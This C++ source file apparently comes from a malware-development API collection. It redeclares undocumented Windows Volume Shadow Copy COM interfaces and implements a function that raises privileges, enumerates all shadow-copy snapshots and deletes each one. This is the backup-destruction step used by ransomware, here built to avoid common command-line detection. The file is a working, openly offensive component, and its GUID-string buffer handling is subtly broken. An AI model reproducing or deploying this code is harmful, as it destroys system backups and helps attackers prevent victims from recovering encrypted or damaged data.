vxug-VXAPI/VX-API/MpfComVssDeleteShadowVolume...

247 lines
8.0 KiB
C++

#include "Win32Helper.h"
CONST IID IID_IVssCoordinator = { 0xda9f41d4, 0x1a5d, 0x41d0, {0xa6, 0x14, 0x6d, 0xfd, 0x78, 0xdf, 0x5d, 0x05} };
CONST IID CLSID_CVssCoordinator = { 0xe579ab5f, 0x1cc4, 0x44b4, {0xbe, 0xd9, 0xde, 0x09, 0x91, 0xff, 0x06, 0x23} };
typedef GUID VSS_ID;
typedef WCHAR* VSS_PWSZ;
typedef LONGLONG VSS_TIMESTAMP;
typedef enum _VSS_SNAPSHOT_STATE {
VSS_SS_UNKNOWN = 0,
VSS_SS_PREPARING = (VSS_SS_UNKNOWN + 1),
VSS_SS_PROCESSING_PREPARE = (VSS_SS_PREPARING + 1),
VSS_SS_PREPARED = (VSS_SS_PROCESSING_PREPARE + 1),
VSS_SS_PROCESSING_PRECOMMIT = (VSS_SS_PREPARED + 1),
VSS_SS_PRECOMMITTED = (VSS_SS_PROCESSING_PRECOMMIT + 1),
VSS_SS_PROCESSING_COMMIT = (VSS_SS_PRECOMMITTED + 1),
VSS_SS_COMMITTED = (VSS_SS_PROCESSING_COMMIT + 1),
VSS_SS_PROCESSING_POSTCOMMIT = (VSS_SS_COMMITTED + 1),
VSS_SS_PROCESSING_PREFINALCOMMIT = (VSS_SS_PROCESSING_POSTCOMMIT + 1),
VSS_SS_PREFINALCOMMITTED = (VSS_SS_PROCESSING_PREFINALCOMMIT + 1),
VSS_SS_PROCESSING_POSTFINALCOMMIT = (VSS_SS_PREFINALCOMMITTED + 1),
VSS_SS_CREATED = (VSS_SS_PROCESSING_POSTFINALCOMMIT + 1),
VSS_SS_ABORTED = (VSS_SS_CREATED + 1),
VSS_SS_DELETED = (VSS_SS_ABORTED + 1),
VSS_SS_POSTCOMMITTED = (VSS_SS_DELETED + 1),
VSS_SS_COUNT = (VSS_SS_POSTCOMMITTED + 1)
} VSS_SNAPSHOT_STATE;
typedef enum _VSS_OBJECT_TYPE {
VSS_OBJECT_UNKNOWN = 0,
VSS_OBJECT_NONE = (VSS_OBJECT_UNKNOWN + 1),
VSS_OBJECT_SNAPSHOT_SET = (VSS_OBJECT_NONE + 1),
VSS_OBJECT_SNAPSHOT = (VSS_OBJECT_SNAPSHOT_SET + 1),
VSS_OBJECT_PROVIDER = (VSS_OBJECT_SNAPSHOT + 1),
VSS_OBJECT_TYPE_COUNT = (VSS_OBJECT_PROVIDER + 1)
} VSS_OBJECT_TYPE;
typedef enum _VSS_PROVIDER_TYPE {
VSS_PROV_UNKNOWN = 0,
VSS_PROV_SYSTEM = 1,
VSS_PROV_SOFTWARE = 2,
VSS_PROV_HARDWARE = 3,
VSS_PROV_FILESHARE = 4
} VSS_PROVIDER_TYPE;
typedef struct _VSS_SNAPSHOT_PROP {
VSS_ID m_SnapshotId;
VSS_ID m_SnapshotSetId;
LONG m_lSnapshotsCount;
VSS_PWSZ m_pwszSnapshotDeviceObject;
VSS_PWSZ m_pwszOriginalVolumeName;
VSS_PWSZ m_pwszOriginatingMachine;
VSS_PWSZ m_pwszServiceMachine;
VSS_PWSZ m_pwszExposedName;
VSS_PWSZ m_pwszExposedPath;
VSS_ID m_ProviderId;
LONG m_lSnapshotAttributes;
VSS_TIMESTAMP m_tsCreationTimestamp;
VSS_SNAPSHOT_STATE m_eStatus;
} VSS_SNAPSHOT_PROP;
typedef struct _VSS_PROVIDER_PROP {
VSS_ID m_ProviderId;
VSS_PWSZ m_pwszProviderName;
VSS_PROVIDER_TYPE m_eProviderType;
VSS_PWSZ m_pwszProviderVersion;
VSS_ID m_ProviderVersionId;
CLSID m_ClassId;
} VSS_PROVIDER_PROP;
typedef union __MIDL___MIDL_itf_vss_0000_0000_0001 {
VSS_SNAPSHOT_PROP Snap;
VSS_PROVIDER_PROP Prov;
} VSS_OBJECT_UNION;
typedef struct _VSS_OBJECT_PROP {
VSS_OBJECT_TYPE Type;
VSS_OBJECT_UNION Obj;
} VSS_OBJECT_PROP;
struct __declspec(uuid("AE1C7110-2F60-11d3-8A39-00C04F72D8E3"))
IVssEnumObject : public IUnknown {
#pragma warning( push )
#pragma warning( disable : 28285)
virtual HRESULT __stdcall Next(ULONG, __RPC__out_ecount_part(celt, *pceltFetched) VSS_OBJECT_PROP*, ULONG*) = 0;
#pragma warning( pop )
virtual HRESULT __stdcall Skip(ULONG) = 0;
virtual HRESULT __stdcall Reset(VOID) = 0;
virtual HRESULT __stdcall Clone(IVssEnumObject**) = 0;
};
struct __declspec(uuid("507C37B4-CF5B-4e95-B0AF-14EB9767467E"))
IVssAsync : public IUnknown {
virtual HRESULT __stdcall Cancel(VOID) = 0;
virtual HRESULT __stdcall Wait(DWORD dwMilliseconds = 0xffffffff) = 0;
virtual HRESULT __stdcall QueryStatus(HRESULT*, INT*) = 0;
};
struct __declspec(uuid("{da9f41d4-1a5d-41d0-a614-6dfd78df5d05}"))
IVssCoordinator : public IUnknown {
virtual HRESULT __stdcall SetContext(LONG) = 0;
virtual HRESULT __stdcall StartSnapshotSet(LPGUID) = 0;
virtual HRESULT __stdcall AddToSnapshotSet(PWCHAR, GUID, LPGUID) = 0;
virtual HRESULT __stdcall DoSnapshotSet(IDispatch*, IVssAsync**) = 0;
virtual HRESULT __stdcall GetSnapshotProperties(GUID, VSS_SNAPSHOT_PROP*) = 0;
virtual HRESULT __stdcall ExposeSnapshot(GUID, PWCHAR, LONG, PWCHAR, PWCHAR*) = 0;
virtual HRESULT __stdcall ImportSnapshots(PUSHORT, IVssAsync**) = 0;
virtual HRESULT __stdcall Query(GUID, VSS_OBJECT_TYPE, VSS_OBJECT_TYPE, IVssEnumObject**) = 0;
virtual HRESULT __stdcall DeleteSnapshots(GUID, VSS_OBJECT_TYPE, INT, PLONG, LPGUID) = 0;
virtual HRESULT __stdcall BreakSnapshotSet(GUID) = 0;
virtual HRESULT __stdcall RevertToSnapshot(GUID, INT) = 0;
virtual HRESULT __stdcall QueryRevertStatus(PWCHAR, IVssAsync**) = 0;
virtual HRESULT __stdcall IsVolumeSupported(GUID, PWCHAR, PINT) = 0;
virtual HRESULT __stdcall IsVolumeSnapshotted(GUID, PWCHAR, PINT, PLONG) = 0;
virtual HRESULT __stdcall SetWriterInstance(LONG, LPGUID) = 0;
};
HRESULT ComDisableGlobalSeh(VOID)
{
HRESULT Result = S_OK;
IGlobalOptions* GlobalOptions;
#pragma warning( push )
#pragma warning( disable : 6387)
Result = CoCreateInstance(CLSID_GlobalOptions, NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&GlobalOptions));
#pragma warning( pop )
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = GlobalOptions->Set(COMGLB_EXCEPTION_HANDLING, COMGLB_EXCEPTION_DONOT_HANDLE);
GlobalOptions->Release();
EXIT_ROUTINE:
return Result;
}
DWORD InitializeComWithSecurityContextDefault(BOOL DisableSeh)
{
HRESULT Result = S_OK;
Result = CoInitializeEx(NULL, 0);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IDENTIFY, NULL, EOAC_NONE, NULL);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
if (DisableSeh)
Result = ComDisableGlobalSeh();
EXIT_ROUTINE:
return Win32FromHResult(Result);
}
DWORD MpfComVssDeleteShadowVolumeBackups(_In_ BOOL CoUninitializeAfterCompletion)
{
HRESULT Result = S_OK;
IVssCoordinator* VssCoordinator = NULL;
VSS_OBJECT_PROP* Snapshots = NULL;
IVssEnumObject* EnumObject = NULL;
LONG NumberOfSnapshots = 0;
ULONG Objects = 16, Retrieved = 0;
PWCHAR ShadowCopySetId = NULL, ShadowCopyId = NULL;
if (InitializeComWithSecurityContextDefault(TRUE) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (!SetProcessPrivilegeToken(1))
return FALSE;
#pragma warning( push )
#pragma warning( disable : 6387)
if (!SUCCEEDED(Result = CoCreateInstance(CLSID_CVssCoordinator, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&VssCoordinator))))
goto EXIT_ROUTINE;
#pragma warning( pop )
if (!SUCCEEDED(Result = VssCoordinator->SetContext(-1)))
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = VssCoordinator->Query(GUID_NULL, VSS_OBJECT_NONE, VSS_OBJECT_SNAPSHOT, &EnumObject)))
goto EXIT_ROUTINE;
Snapshots = (VSS_OBJECT_PROP*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(VSS_OBJECT_PROP) * Objects));
if (Snapshots == NULL)
goto EXIT_ROUTINE;
if (!SUCCEEDED(Result = EnumObject->Next(Objects, Snapshots, (PULONG)&NumberOfSnapshots)))
goto EXIT_ROUTINE;
ShadowCopySetId = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (32 * sizeof(WCHAR)));
if (ShadowCopySetId == NULL)
goto EXIT_ROUTINE;
ShadowCopyId = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (32 * sizeof(WCHAR)));
if (ShadowCopyId == NULL)
goto EXIT_ROUTINE;
while (NumberOfSnapshots--)
{
VSS_OBJECT_PROP Element = Snapshots[NumberOfSnapshots];
LONG Dispose = 0;
GUID SnapshotDipose = { 0 };
if (Element.Type != VSS_OBJECT_SNAPSHOT)
continue;
ZeroMemoryEx(ShadowCopyId, (32 * sizeof(WCHAR)));
ZeroMemoryEx(ShadowCopySetId, (32 * sizeof(WCHAR)));
#pragma warning( push )
#pragma warning( disable : 6386)
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotId, ShadowCopyId, (32 * sizeof(WCHAR))) == 0)
continue;
#pragma warning( pop )
#pragma warning( push )
#pragma warning( disable : 6386)
if (StringFromGUID2(Element.Obj.Snap.m_SnapshotSetId, ShadowCopySetId, (32 * sizeof(WCHAR))) == 0)
continue;
#pragma warning( pop )
VssCoordinator->DeleteSnapshots(Element.Obj.Snap.m_SnapshotId, VSS_OBJECT_SNAPSHOT, 1, &Dispose, &SnapshotDipose);
}
EXIT_ROUTINE:
if (ShadowCopyId)
HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ShadowCopyId);
if (ShadowCopySetId)
HeapFree(GetProcessHeapFromTeb(), HEAP_ZERO_MEMORY, ShadowCopySetId);
if (EnumObject)
EnumObject->Release();
if (VssCoordinator)
VssCoordinator->Release();
if (CoUninitializeAfterCompletion)
CoUninitialize();
return Win32FromHResult(Result);
}